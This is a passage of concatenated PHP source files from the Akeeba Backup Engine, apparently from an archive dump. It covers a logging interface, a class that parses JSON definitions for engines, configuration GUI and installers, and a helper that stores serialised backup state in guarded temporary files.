	 */
	final public function setWarningsQueueSize($queueSize = 0)
	{
		if (!is_numeric($queueSize) || empty($queueSize) || ($queueSize < 0))
		{
			$queueSize = 0;
		}

		$this->warningsQueueSize = $queueSize;
	}

	/**
	 * Adds a warning to the warnings queue.
	 *
	 * @param   string  $warning
	 */
	final protected function enqueueWarning($warning)
	{
		$this->warningsQueue[] = $warning;

		// If there is no queue size limit there's nothing else to be done.
		if ($this->warningsQueueSize <= 0)
		{
			return;
		}

		// If the queue size is exceeded remove as many of the earliest elements as required
		if (count($this->warningsQueue) > $this->warningsQueueSize)
		{
			$this->warningsQueueSize = array_slice($this->warningsQueue, -$this->warningsQueueSize);
		}
	}
}
com_akeeba/BackupEngine/Util/Log/LogInterface.php000060400000005556152455305260015674 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Log;

defined('AKEEBAENGINE') || die();

/**
 * The interface for Akeeba Engine logger objects
 */
interface LogInterface
{
	/**
	 * Open a new log instance with the specified tag. If another log is already open it is closed before switching to
	 * the new log tag. If the tag is null use the default log defined in the logging system.
	 *
	 * @param   string|null  $tag        The log to open
	 * @param   string       $extension  The log file extension (default: .php, use empty string for .log files)
	 *
	 * @return void
	 */
	public function open($tag = null, $extension = '.php');

	/**
	 * Close the currently active log and set the current tag to null.
	 *
	 * @return  void
	 */
	public function close();

	/**
	 * Reset (remove entries) of the log with the specified tag.
	 *
	 * @param   string|null  $tag  The log to reset
	 *
	 * @return  void
	 */
	public function reset($tag = null);

	/**
	 * Add a message to the log
	 *
	 * @param   string  $level    One of the Akeeba\Engine\Psr\Log\LogLevel constants
	 * @param   string  $message  The message to log
	 * @param   array   $context  Currently not used. Left here for PSR-3 compatibility.
	 *
	 * @return  void
	 */
	public function log($level, $message, array $context = []);

	/**
	 * Temporarily pause log output. The log() method MUST respect this.
	 *
	 * @return  void
	 */
	public function pause();

	/**
	 * Resume the previously paused log output. The log() method MUST respect this.
	 *
	 * @return  void
	 */
	public function unpause();

	/**
	 * Returns the timestamp (in UNIX time long integer format) of the last log message written to the log with the
	 * specific tag. The timestamp MUST be read from the log itself, not from the logger object. It is used by the
	 * engine to find out the age of stalled backups which may have crashed.
	 *
	 * @param   string|null  $tag  The log tag for which the last timestamp is returned
	 *
	 * @return  int|null  The timestamp of the last log message, in UNIX time. NULL if we can't get the timestamp.
	 */
	public function getLastTimestamp($tag = null);
}
com_akeeba/BackupEngine/Util/EngineParameters.php000060400000063164152455305260016041 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DirectoryIterator;
use LogicException;

/**
 * Unified engine parameters helper class. Deals with scripting, GUI configuration elements and information on engine
 * parts (filters, dump engines, scan engines, archivers, installers).
 */
class EngineParameters
{
	/**
	 * Holds the parsed scripting.json contents
	 *
	 * @var array
	 */
	public $scripting = null;

	/**
	 * The currently active scripting type
	 *
	 * @var string
	 */
	protected $activeType = null;

	/**
	 * Holds the known paths holding JSON definitions of engines, installers and configuration gui elements
	 *
	 * @var  array
	 */
	protected $enginePartPaths = [];

	/**
	 * Cache of the engines known to this object
	 *
	 * @var array
	 */
	protected $engine_list = [];

	/**
	 * Cache of the GUI configuration elements known to this object
	 *
	 * @var array
	 */
	protected $gui_list = [];

	/**
	 * Cache of the installers known to this object
	 *
	 * @var array
	 */
	protected $installer_list = [];

	/**
	 * Append a path to the end of the paths list for a specific section
	 *
	 * @param   string  $path     Absolute filesystem path to add
	 * @param   string  $section  The section to add it to (gui, engine, installer, filters)
	 *
	 * @return  void
	 */
	public function addPath(string $path, string $section = 'gui')
	{
		$path = Factory::getFilesystemTools()->TranslateWinPath($path);

		// If the array is empty, populate with the defaults
		if (!array_key_exists($section, $this->enginePartPaths))
		{
			$this->getEnginePartPaths($section);
		}

		// If the path doesn't already exist, add it
		if (!in_array($path, $this->enginePartPaths[$section]))
		{
			$this->enginePartPaths[$section][] = $path;
		}
	}

	/**
	 * Returns an array with domain keys and domain class names for the current
	 * backup type. The idea is that shifting this array walks through the backup
	 * process. When the array is empty, the backup is done.
	 *
	 * Each element of the array is an array with two keys: domain and class.
	 *
	 * @return  array
	 */
	public function getDomainChain(): array
	{
		$configuration = Factory::getConfiguration();
		$script        = $configuration->get('akeeba.basic.backup_type', 'full');

		$scripting = $this->loadScripting();
		$domains   = $scripting['domains'];
		$keys      = $scripting['scripts'][$script]['chain'];

		$result = [];

		foreach ($keys as $domain_key)
		{
			$result[] = [
				'domain' => $domains[$domain_key]['domain'],
				'class'  => $domains[$domain_key]['class'],
			];
		}

		return $result;
	}

	/**
	 * Get the paths for a specific section
	 *
	 * @param   string  $section  The section to get the path list for (engine, installer, gui, filter)
	 *
	 * @return  array
	 */
	public function getEnginePartPaths(string $section = 'gui')
	{
		// Create the key if it's not already present
		if (!array_key_exists($section, $this->enginePartPaths))
		{
			$this->enginePartPaths[$section] = [];
		}

		if (!empty($this->enginePartPaths[$section]))
		{
			return $this->enginePartPaths[$section];
		}

		// Add the defaults if the list is empty
		switch ($section)
		{
			case 'engine':
				$this->enginePartPaths[$section] = [
					Factory::getFilesystemTools()->TranslateWinPath(Factory::getAkeebaRoot()),
				];
				break;

			case 'installer':
				$this->enginePartPaths[$section] = [
					Factory::getFilesystemTools()->TranslateWinPath(Platform::getInstance()->get_installer_images_path()),
				];
				break;

			case 'gui':
				// Add core GUI definitions
				$this->enginePartPaths[$section] = [
					Factory::getFilesystemTools()->TranslateWinPath(Factory::getAkeebaRoot() . '/Core'),
				];

				// Add platform GUI definition files
				$platform_paths = Platform::getInstance()->getPlatformDirectories();

				foreach ($platform_paths as $p)
				{
					$this->enginePartPaths[$section][] = Factory::getFilesystemTools()->TranslateWinPath($p . '/Config');

					$pro = defined('AKEEBA_PRO') && AKEEBA_PRO;
					$pro = defined('AKEEBABACKUP_PRO') ? (AKEEBABACKUP_PRO ? true : false) : $pro;

					if ($pro)
					{
						$this->enginePartPaths[$section][] = Factory::getFilesystemTools()->TranslateWinPath($p . '/Config/Pro');
					}
				}
				break;

			case 'filter':
				$this->enginePartPaths[$section] = [
					Factory::getFilesystemTools()->TranslateWinPath(Factory::getAkeebaRoot() . '/Platform/Filter/Stack'),
					Factory::getFilesystemTools()->TranslateWinPath(Factory::getAkeebaRoot() . '/Filter/Stack'),
				];

				$platform_paths = Platform::getInstance()->getPlatformDirectories();

				foreach ($platform_paths as $p)
				{
					$this->enginePartPaths[$section][] = Factory::getFilesystemTools()->TranslateWinPath($p . '/Filter/Stack');
				}

				break;

			default:
				throw new LogicException(sprintf('Can not get paths for engine section ‘%s’. No section by this name is known to Akeeba Engine.', $section));
		}

		return $this->enginePartPaths[$section];
	}

	/**
	 * Returns a hash list of Akeeba engines and their data. Each entry has the engine name as key and contains two
	 * arrays, under the 'information' and 'parameters' keys.
	 *
	 * @param   string  $engine_type  The engine type to return information for
	 *
	 * @return  array
	 */
	public function getEnginesList(string $engine_type): array
	{
		$engine_type = ucfirst($engine_type);

		// Try to serve cached data first
		if (isset($this->engine_list[$engine_type]))
		{
			return $this->engine_list[$engine_type];
		}

		// Find absolute path to normal and plugins directories
		$temp      = $this->getEnginePartPaths('engine');
		$path_list = [];

		foreach ($temp as $path)
		{
			$path_list[] = $path . '/' . $engine_type;
		}

		// Initialize the array where we store our data
		$this->engine_list[$engine_type] = [];

		// Loop for the paths where engines can be found
		foreach ($path_list as $path)
		{
			if (!@is_dir($path))
			{
				continue;
			}

			if (!@is_readable($path))
			{
				continue;
			}

			$di = new DirectoryIterator($path);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				if ($file->getExtension() !== 'json')
				{
					continue;
				}

				$bare_name = ucfirst($file->getBasename('.json'));

				// Some hosts copy .json and .php files, renaming them (ie foobar.1.php)
				// We need to exclude them, otherwise we'll get a fatal error for declaring the same class twice
				if (preg_match('/[^A-Za-z0-9]/', $bare_name))
				{
					continue;
				}

				$information = [];
				$parameters  = [];

				$this->parseEngineJSON($file->getRealPath(), $information, $parameters);

				$this->engine_list[$engine_type][lcfirst($bare_name)] = [
					'information' => $information,
					'parameters'  => $parameters,
				];
			}
		}

		return $this->engine_list[$engine_type];
	}

	/**
	 * Parses the GUI JSON files and returns an array of groups and their data
	 *
	 * @return  array
	 */
	public function getGUIGroups(): array
	{
		// Try to serve cached data first
		if (!empty($this->gui_list) && is_array($this->gui_list))
		{
			if (count($this->gui_list) > 0)
			{
				return $this->gui_list;
			}
		}

		// Find absolute path to normal and plugins directories
		$path_list = $this->getEnginePartPaths('gui');

		// Initialize the array where we store our data
		$this->gui_list = [];

		// Loop for the paths where engines can be found
		foreach ($path_list as $path)
		{
			if (!@is_dir($path))
			{
				continue;
			}

			if (!@is_readable($path))
			{
				continue;
			}

			$allJSONFiles = [];
			$di           = new DirectoryIterator($path);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				if ($file->getExtension() !== 'json')
				{
					continue;
				}

				$allJSONFiles[] = $file->getRealPath();
			}

			if (empty($allJSONFiles))
			{
				continue;
			}

			// Sort GUI files alphabetically
			asort($allJSONFiles);

			// Include each GUI def file
			foreach ($allJSONFiles as $filename)
			{
				$information = [];
				$parameters  = [];

				$this->parseInterfaceJSON($filename, $information, $parameters);

				// This effectively skips non-GUI JSONs (e.g. the scripting JSON)
				if (!empty($information['description']))
				{
					if (!isset($information['merge']))
					{
						$information['merge'] = 0;
					}

					$group_name = substr(basename($filename), 0, -5);

					$def = [
						'information' => $information,
						'parameters'  => $parameters,
					];

					if (!$information['merge'] || !isset($this->gui_list[$group_name]))
					{
						$this->gui_list[$group_name] = $def;
					}
					else
					{
						$this->gui_list[$group_name]['information'] = array_merge($this->gui_list[$group_name]['information'], $def['information']);
						$this->gui_list[$group_name]['parameters']  = array_merge($this->gui_list[$group_name]['parameters'], $def['parameters']);
					}
				}
			}
		}

		ksort($this->gui_list);

		// Push stack filter settings to the 03.filters section
		$path_list = $this->getEnginePartPaths('filter');

		// Loop for the paths where optional filters can be found
		foreach ($path_list as $path)
		{
			if (!@is_dir($path))
			{
				continue;
			}

			if (!@is_readable($path))
			{
				continue;
			}

			// Store JSON names in temp array because we'll sort based on filename (GUI order IS IMPORTANT!!)
			$allJSONFiles = [];

			$di = new DirectoryIterator($path);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				if ($file->getExtension() !== 'json')
				{
					continue;
				}

				$allJSONFiles[] = $file->getRealPath();
			}

			if (empty($allJSONFiles))
			{
				continue;
			}

			// Sort filter files alphabetically
			asort($allJSONFiles);

			// Include each filter def file
			foreach ($allJSONFiles as $filename)
			{
				$information = [];
				$parameters  = [];

				$this->parseInterfaceJSON($filename, $information, $parameters);

				if (!array_key_exists('03.filters', $this->gui_list))
				{
					$this->gui_list['03.filters'] = ['parameters' => []];
				}

				if (!array_key_exists('parameters', $this->gui_list['03.filters']))
				{
					$this->gui_list['03.filters']['parameters'] = [];
				}

				if (!is_array($parameters))
				{
					$parameters = [];
				}

				$this->gui_list['03.filters']['parameters'] = array_merge($this->gui_list['03.filters']['parameters'], $parameters);
			}
		}

		/**
		 * Parse showon attributes
		 *
		 * The GUI list array format is like this:
		 * ```
		 * [
		 *    '01.sectionName' => [
		 *       'information' => [...],
		 *       'parameters' => [
		 *           'some.parameter.name' => [
		 *               'title' => 'something',
		 *               ...
		 *               'showon' => 'some.other.parameter.name:1'
		 *           ],
		 *           ...
		 *       ]
		 *    ],
		 *    ...
		 * ]
		 * ```
		 *
		 * We need to convert the shown of the parameters to JSON data which can be used by the `showon` JavaScript
		 * code. The assumption only made here is that all parameter keys are turned into `INPUT` elements with an
		 * attribute `name="var[some.parameter.name]"`. This is how the GUI code in all backup applications our company
		 * makes works.
		 *
		 * For backup applications which do not have showon support (they lack the JavaScript code) this does not matter
		 * and neither does it break anything. All parameters are shown all the time like we have been doing for years.
		 */
		$this->gui_list = array_map(
			function (array $section): array {
				foreach ($section['parameters'] as $paramName => &$paramDef)
				{
					if (isset($paramDef['showon']))
					{
						// Parse showon
						$paramDef['showon'] = $this->parseShowOnConditions($paramDef['showon']);
					}
				}

				return $section;
			},
			$this->gui_list
		);

		return $this->gui_list;
	}

	/**
	 * Parses the installer JSON files and returns an array of installers and their data
	 *
	 * @param   boolean  $forDisplay  If true only returns the information relevant for displaying the GUI
	 *
	 * @return  array
	 */
	public function getInstallerList(bool $forDisplay = false): array
	{
		// Try to serve cached data first
		if (!empty($this->installer_list) && is_array($this->installer_list))
		{
			if (count($this->installer_list) > 0)
			{
				return $this->installer_list;
			}
		}

		// Find absolute path to normal and plugins directories
		$path_list = [
			Platform::getInstance()->get_installer_images_path(),
		];

		// Initialize the array where we store our data
		$this->installer_list = [];

		// Loop for the paths where engines can be found
		foreach ($path_list as $path)
		{
			if (!@is_dir($path))
			{
				continue;
			}

			if (!@is_readable($path))
			{
				continue;
			}

			$di = new DirectoryIterator($path);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				if ($file->getExtension() !== 'json')
				{
					continue;
				}

				$rawData = file_get_contents($file->getRealPath());
				$data    = empty($rawData) ? [] : json_decode($rawData, true);

				if ($forDisplay)
				{
					$innerData = reset($data);

					if (array_key_exists('listinoptions', $innerData))
					{
						if ($innerData['listinoptions'] == 0)
						{
							continue;
						}
					}
				}

				foreach ($data as $key => $values)
				{
					$this->installer_list[$key] = [];

					foreach ($values as $key2 => $value)
					{
						$this->installer_list[$key][$key2] = $value;
					}
				}
			}
		}

		return $this->installer_list;
	}

	/**
	 * Returns the JSON representation of the GUI definition and the associated values
	 *
	 * @return   string
	 */
	public function getJsonGuiDefinition(): string
	{
		// Initialize the array which will be converted to JSON representation
		$json_array = [
			'engines'    => [],
			'installers' => [],
			'gui'        => [],
		];

		// Get a reference to the configuration
		$configuration = Factory::getConfiguration();

		// Get data for all engines
		$engine_types = [
			'archiver',
			'dump',
			'scan',
			'writer',
			'postproc',
		];

		foreach ($engine_types as $type)
		{
			$engines = $this->getEnginesList($type);

			$tempArray    = [];
			$engineTitles = [];

			foreach ($engines as $engine_name => $engine_data)
			{
				// Translate information
				foreach ($engine_data['information'] as $key => $value)
				{
					switch ($key)
					{
						case 'title':
						case 'content':
						case 'description':
							$value = Platform::getInstance()->translate($value);
							break;
					}

					$tempArray[$engine_name]['information'][$key] = $value;

					if ($key == 'title')
					{
						$engineTitles[$engine_name] = $value;
					}
				}

				// Process parameters
				$parameters = [];

				foreach ($engine_data['parameters'] as $param_key => $param)
				{
					$param['default'] = $configuration->get($param_key, $param['default'], false);

					foreach ($param as $option_key => $option_value)
					{
						// Translate title, description, enumkeys
						switch ($option_key)
						{
							case 'title':
							case 'description':
							case 'content':
							case 'labelempty':
							case 'labelnotempty':
								$param[$option_key] = Platform::getInstance()->translate($option_value);
								break;

							case 'enumkeys':
								$enumkeys = explode('|', $option_value);
								$new_keys = [];
								foreach ($enumkeys as $old_key)
								{
									$new_keys[] = Platform::getInstance()->translate($old_key);
								}
								$param[$option_key] = implode('|', $new_keys);
								break;

							case 'showon':
								$param[$option_key] = $this->parseShowOnConditions($param[$option_key]);

							default:
						}
					}

					$parameters[$param_key] = $param;
				}

				// Add processed parameters
				$tempArray[$engine_name]['parameters'] = $parameters;
			}

			asort($engineTitles);

			foreach ($engineTitles as $engineName => $title)
			{
				$json_array['engines'][$type][$engineName] = $tempArray[$engineName];
			}
		}

		// Get data for GUI elements
		$json_array['gui'] = [];
		$groupdefs         = $this->getGUIGroups();

		foreach ($groupdefs as $groupKey => $definition)
		{
			$group_name = '';

			if (isset($definition['information']) && isset($definition['information']['description']))
			{
				$group_name = Platform::getInstance()->translate($definition['information']['description']);
			}

			// Skip no-name groups
			if (empty($group_name))
			{
				continue;
			}

			$parameters = [];

			foreach ($definition['parameters'] as $param_key => $param)
			{
				$param['default'] = $configuration->get($param_key, $param['default'], false);

				foreach ($param as $option_key => $option_value)
				{
					// Translate title, description, enumkeys
					switch ($option_key)
					{
						case 'title':
						case 'description':
						case 'content':
							$param[$option_key] = Platform::getInstance()->translate($option_value);
							break;

						case 'enumkeys':
							$enumkeys = explode('|', $option_value);
							$new_keys = [];
							foreach ($enumkeys as $old_key)
							{
								$new_keys[] = Platform::getInstance()->translate($old_key);
							}
							$param[$option_key] = implode('|', $new_keys);
							break;

						default:
					}
				}
				$parameters[$param_key] = $param;
			}
			$json_array['gui'][$group_name] = $parameters;
		}

		// Get data for the installers
		$json_array['installers'] = $this->getInstallerList(true);

		uasort($json_array['installers'], function ($a, $b) {
			if ($a['name'] == $b['name'])
			{
				return 0;
			}

			return ($a['name'] < $b['name']) ? -1 : 1;
		});

		$json = json_encode($json_array);

		return $json;
	}

	/**
	 * Returns a volatile scripting parameter for the active backup type
	 *
	 * @param   string  $key      The relative key, e.g. core.createarchive
	 * @param   mixed   $default  Default value
	 *
	 * @return  mixed  The scripting parameter's value
	 */
	public function getScriptingParameter(string $key, $default = null)
	{
		$configuration = Factory::getConfiguration();

		if (is_null($this->activeType))
		{
			$this->activeType = $configuration->get('akeeba.basic.backup_type', 'full');
		}

		return $configuration->get('volatile.scripting.' . $this->activeType . '.' . $key, $default);
	}

	/**
	 * Imports the volatile scripting parameters to the registry
	 *
	 * @return  void
	 */
	public function importScriptingToRegistry(): void
	{
		$scripting     = $this->loadScripting();
		$configuration = Factory::getConfiguration();
		$configuration->mergeArray($scripting['data'], false);
	}

	/**
	 * Loads the scripting.json and returns an array with the domains, the scripts and the raw data
	 *
	 * @return  array  The parsed scripting.json. Array keys: domains, scripts, data
	 */
	public function loadScripting(?string $jsonPath = ''): ?array
	{
		if (!empty($this->scripting))
		{
			return $this->scripting;
		}

		$this->scripting = [];
		$jsonPath        = $jsonPath ?: Factory::getAkeebaRoot() . '/Core/scripting.json';

		if (!@file_exists($jsonPath))
		{
			return $this->scripting;
		}

		$rawData          = file_get_contents($jsonPath);
		$rawScriptingData = empty($rawData) ? [] : json_decode($rawData, true);
		$domain_keys      = explode('|', $rawScriptingData['volatile.akeebaengine.domains']);
		$domains          = [];

		foreach ($domain_keys as $key)
		{
			$record        = [
				'domain' => $rawScriptingData['volatile.domain.' . $key . '.domain'],
				'class'  => $rawScriptingData['volatile.domain.' . $key . '.class'],
				'text'   => $rawScriptingData['volatile.domain.' . $key . '.text'],
			];
			$domains[$key] = $record;
		}

		$script_keys = explode('|', $rawScriptingData['volatile.akeebaengine.scripts']);
		$scripts     = [];

		foreach ($script_keys as $key)
		{
			$record        = [
				'chain' => explode('|', $rawScriptingData['volatile.scripting.' . $key . '.chain']),
				'text'  => $rawScriptingData['volatile.scripting.' . $key . '.text'],
			];
			$scripts[$key] = $record;
		}

		$this->scripting = [
			'domains' => $domains,
			'scripts' => $scripts,
			'data'    => $rawScriptingData,
		];

		return $this->scripting;
	}

	/**
	 * Parses an engine JSON file returning two arrays, one with the general information
	 * of that engine and one with its configuration variables' definitions
	 *
	 * @param   string  $jsonPath     Absolute path to engine JSON file
	 * @param   array   $information  [out] The engine information hash array
	 * @param   array   $parameters   [out] The parameters hash array
	 *
	 * @return  bool  True if the file was loaded
	 */
	public function parseEngineJSON(string $jsonPath, array &$information, array &$parameters): bool
	{
		if (!file_exists($jsonPath))
		{
			return false;
		}

		$information = [
			'title'       => '',
			'description' => '',
		];

		$parameters = [];

		$rawData  = file_get_contents($jsonPath);
		$jsonData = empty($rawData) ? [] : json_decode($rawData, true);

		foreach ($jsonData ?? [] as $section => $data)
		{
			if (is_array($data))
			{
				if ($section == '_information')
				{
					// Parse information
					foreach ($data as $key => $value)
					{
						$information[$key] = $value;
					}
				}
				elseif (substr($section, 0, 1) != '_')
				{
					// Parse parameters
					$newparam = [
						'title'       => '',
						'description' => '',
						'type'        => 'string',
						'default'     => '',
					];

					foreach ($data as $key => $value)
					{
						$newparam[$key] = $value;
					}
					$parameters[$section] = $newparam;
				}
			}
		}

		return true;
	}

	/**
	 * Parses a graphical interface JSON file returning two arrays, one with the general
	 * information of that configuration section and one with its configuration variables'
	 * definitions.
	 *
	 * @param   string  $jsonPath     Absolute path to engine JSON file
	 * @param   array   $information  [out] The GUI information hash array
	 * @param   array   $parameters   [out] The parameters hash array
	 *
	 * @return bool True if the file was loaded
	 */
	public function parseInterfaceJSON(string $jsonPath, array &$information, array &$parameters): bool
	{
		if (!file_exists($jsonPath))
		{
			return false;
		}

		$information = [
			'description' => '',
		];

		$parameters = [];
		$rawData    = file_get_contents($jsonPath);
		$jsonData   = empty($rawData) ? [] : json_decode($rawData, true);

		foreach ($jsonData as $section => $data)
		{
			if (is_array($data))
			{
				if ($section == '_group')
				{
					// Parse information
					foreach ($data as $key => $value)
					{
						$information[$key] = $value;
					}

					continue;
				}

				if (substr($section, 0, 1) != '_')
				{
					// Parse parameters
					$newparam = [
						'title'       => '',
						'description' => '',
						'type'        => 'string',
						'default'     => '',
						'protected'   => 0,
					];

					foreach ($data as $key => $value)
					{
						$newparam[$key] = $value;
					}

					$parameters[$section] = $newparam;
				}
			}
		}

		return true;
	}

	/**
	 * Add a path to the beginning of the paths list for a specific section
	 *
	 * @param   string  $path     Absolute filesystem path to add
	 * @param   string  $section  The section to add it to (gui, engine, installer, filters)
	 *
	 * @return  void
	 */
	public function prependPath(string $path, string $section = 'gui'): void
	{
		$path = Factory::getFilesystemTools()->TranslateWinPath($path);

		// If the array is empty, populate with the defaults
		if (!array_key_exists($section, $this->enginePartPaths))
		{
			$this->getEnginePartPaths($section);
		}

		// If the path doesn't already exist, add it
		if (!in_array($path, $this->enginePartPaths[$section]))
		{
			array_unshift($this->enginePartPaths[$section], $path);
		}
	}

	/**
	 * Parse the `showon` conditions text into an instructions array for the ShowOn JavaScript
	 *
	 * @param   string|null  $showOn     The `showon` conditions text
	 * @param   string|null  $arrayName  The array all of our parameters are members of, default 'var'.
	 *
	 * @return  array  The ShowOn JavaScript instructions
	 *
	 * @since   9.3.1
	 */
	private function parseShowOnConditions(?string $showOn, ?string $arrayName = 'var'): array
	{
		if (empty($showOn))
		{
			return [];
		}

		$showOnData  = [];
		$showOnParts = preg_split('#(\[AND\]|\[OR\])#', $showOn, -1, PREG_SPLIT_DELIM_CAPTURE);
		$op          = '';

		foreach ($showOnParts as $showOnPart)
		{
			if (in_array($showOnPart, ['[AND]', '[OR]']))
			{
				$op = trim($showOnPart, '[]');

				continue;
			}

			$compareEqual     = strpos($showOnPart, '!:') === false;
			$showOnPartBlocks = explode(($compareEqual ? ':' : '!:'), $showOnPart, 2);

			$field = $arrayName
				? sprintf("%s[%s]", $arrayName, $showOnPartBlocks[0])
				: $showOnPartBlocks[0];

			$showOnData[] = [
				'field'  => $field,
				'values' => explode(',', $showOnPartBlocks[1]),
				'sign'   => $compareEqual === true ? '=' : '!=',
				'op'     => $op,
			];

			$op = '';
		}

		return $showOnData;
	}
}
com_akeeba/BackupEngine/Util/FactoryStorage.php000060400000016162152455305260015540 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use InvalidArgumentException;
use RuntimeException;

/**
 * Management class for temporary storage of the serialised engine state.
 */
class FactoryStorage
{
	protected static $tempFileStoragePath;

	/**
	 * Returns the fully qualified path to the storage file
	 *
	 * @param   string  $tag        Backup tag
	 * @param   string  $extension  File extension, default is php
	 *
	 * @return  string
	 */
	public function get_storage_filename($tag = null, $extension = 'php')
	{
		if (is_null(self::$tempFileStoragePath))
		{
			$registry                  = Factory::getConfiguration();
			self::$tempFileStoragePath = $registry->get('akeeba.basic.output_directory', '');

			if (empty(self::$tempFileStoragePath))
			{
				throw new InvalidArgumentException('You have not set a backup output directory.');
			}

			self::$tempFileStoragePath = rtrim(self::$tempFileStoragePath, '/\\');

			if (!is_writable(self::$tempFileStoragePath) || !is_readable(self::$tempFileStoragePath))
			{
				throw new InvalidArgumentException(sprintf('Backup output directory %s needs to be both readable and writeable to PHP for this backup software to function correctly.', self::$tempFileStoragePath));
			}
		}

		$tag      = empty($tag) ? '' : $tag;
		$filename = sprintf("akstorage%s%s.%s", empty($tag) ? '' : '_', $tag, $extension);

		return self::$tempFileStoragePath . DIRECTORY_SEPARATOR . $filename;
	}

	/**
	 * Resets the storage. This method removes all stored values.
	 *
	 * @param   null  $tag
	 *
	 * @return    bool    True on success
	 */
	public function reset($tag = null)
	{
		$filename = $this->get_storage_filename($tag);

		if (!is_file($filename) && !is_link($filename))
		{
			$filename = $this->get_storage_filename($tag, 'dat');
		}

		if (!is_file($filename) && !is_link($filename))
		{
			return false;
		}

		return @unlink($this->get_storage_filename($tag));
	}

	/**
	 * Stores a value to the storage
	 *
	 * @param   string       $value      Serialised value to store
	 * @param   string|null  $tag        Backup tag
	 * @param   string       $extension  File extension to use, default is php
	 *
	 * @return  bool  True on success
	 */
	public function set($value, $tag = null, $extension = 'php')
	{
		$storage_filename = $this->get_storage_filename($tag, $extension);

		if (file_exists($storage_filename))
		{
			@unlink($storage_filename);
		}

		$isPHPFile = strtolower($extension) == 'php';

		return @file_put_contents($storage_filename, $this->encode($value, $isPHPFile)) !== false;
	}

	/**
	 * Retrieves a value from storage
	 *
	 * @param   string|null  $tag  Backup tag. Used to determine the session state (memory) file name.
	 *
	 * @return  string|null
	 */
	public function &get($tag = null)
	{
		$ret              = null;
		$storage_filename = $this->get_storage_filename($tag);
		$isPHPFile        = true;
		$data             = @file_get_contents($storage_filename);

		/**
		 * Some hosts, like WPEngine, do not allow us to use .php files for storing the factory state. In these case we
		 * fall back to using the far less secure .dat extension. This if-block caters for that case.
		 */
		if ($data === false)
		{
			$storage_filename = $this->get_storage_filename($tag, 'dat');
			$isPHPFile        = false;
			$data             = @file_get_contents($storage_filename);
		}

		if ($data === false)
		{
			return $ret;
		}

		try
		{
			$ret = $this->decode($data, $isPHPFile);
		}
		catch (RuntimeException $e)
		{
			$ret = null;
		}

		unset($data);

		return $ret;
	}

	/**
	 * Encodes the (serialized) data in a format suitable for storing in a deliberately web-inaccessible PHP file.
	 *
	 * IMPORTANT: On some hosts we HAVE to fall back to a .dat file. This is nowhere near as secure. This is not a
	 * problem with Akeeba Backup but with the host, e.g. WPEngine. We WANT to do things securely but hosts' misguided
	 * attempts at "security" force us to have a very insecure fallback. Please do not report this as a security issue
	 * with us. report it to the host. We can't do something the host doesn't allow our code to do, obviously!
	 *
	 * @param   string  $data       The data to encode
	 * @param   bool    $isPHPFile  Is this file extension .php?
	 *
	 * @return  string  The encoded data
	 */
	public function encode(&$data, $isPHPFile = true)
	{
		$encodingMethod = $this->getEncodingMethod();
		
		switch ($encodingMethod)
		{
			case 'base64':
				$ret = base64_encode($data);
				break;

			case 'uuencode':
				$ret = convert_uuencode($data);
				break;

			case 'plain':
			default:
				$ret = $data;
				break;
		}

		if ($isPHPFile)
		{
			return '<' . '?' . 'php die(); ' . '>' . '?' . "\n" .
				$encodingMethod . "\n" . $ret;
		}

		return $encodingMethod . "\n" . $ret;
	}

	/**
	 * Decodes the data read from the deliberately web-inaccessible PHP file.
	 *
	 * @param   string  $data       The data read from the file
	 * @param   bool    $isPHPFile  Does the memory file have a .php extension?
	 *
	 * @return  false|string  The decoded data. False if the decoding failed.
	 */
	public function decode(&$data, $isPHPFile = true)
	{
		// Parts: 0 = PHP die line; 1 = encoding mode; 2 = data
		$parts = explode("\n", $data, 3);

		$expectedPartsCount = $isPHPFile ? 3 : 2;

		if (count($parts) != $expectedPartsCount)
		{
			throw new RuntimeException("Invalid backup temporary data (memory file)");
		}

